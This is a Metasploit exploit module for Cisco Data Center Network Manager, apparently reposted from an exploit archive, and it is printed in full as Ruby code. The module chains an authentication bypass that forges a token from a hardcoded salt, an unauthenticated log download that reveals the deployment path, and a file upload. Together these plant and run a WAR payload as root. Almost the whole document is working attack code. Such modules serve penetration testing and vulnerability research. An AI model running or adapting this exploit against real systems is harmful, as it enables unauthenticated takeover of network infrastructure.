Cisco Data Center Network Manager Unauthenticated Remote Code Execution

2019.09.03
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution', 'Description' => %q{ DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root. This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why). }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1619' ], # auth bypass [ 'CVE', '2019-1620' ], # file upload [ 'CVE', '2019-1622' ], # log download [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', {} ], [ 'Cisco DCNM 11.1(1)', {} ], [ 'Cisco DCNM 11.0(1)', {} ], [ 'Cisco DCNM 10.4(2)', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 26 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), ]) end def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' ) if res && res.code == 500 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 return CheckCode::Detected end end CheckCode::Unknown end def target_select if target != targets[0] return target else res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] else print_error("#{peer} - Failed to detect target version.") print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") print_error(res.body) print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") return targets[3] end end fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") end end def auth_v11 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies res.get_cookies.split(';').each do |cok| if cok.include?("JSESSIONID") return cok end end end end end def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' ) # step 2: convert the Date header and create the auth hash if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 print_good("#{peer} - Got sysTime value #{server_date.to_s}") # auth hash format: # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF session_id = rand(1000..50000).to_s md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" md5_str = Base64.strict_encode64(md5) # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' ) if res && res.code == 500 return jsession end end end # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream File.binwrite(tmp, res.body) Zip::File.open(tmp) do |zis| zis.each do |entry| if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] tmp.close tmp.unlink return $1.strip end end end end end end def exploit target = target_select if target == targets[2] jsession = auth_v11 elsif target == targets[3] jsession = auth_v10 end # targets[1] DCNM 11.1(1) doesn't need auth! if jsession.nil? && target != targets[1] fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") elsif target != targets[1] print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") end war_path = get_war_path if war_path.nil? or war_path.empty? fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") else print_good("#{peer} - Obtain WAR path from logs: #{war_path}") end # Generate our payload... and upload it app_base = rand_text_alphanumeric(6..16) war_payload = payload.encoded_war({ :app_name => app_base }).to_s fname = app_base + '.war' post_data = Rex::MIME::Message.new post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") post_data.add_part(war_payload, "application/octet-stream", 'binary', "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) if res && res.code == 200 && res.body[/#{fname}/] print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") sleep 10 print_status("#{peer} - Executing payload...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, app_base), 'method' => 'GET' ) else fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") end end end


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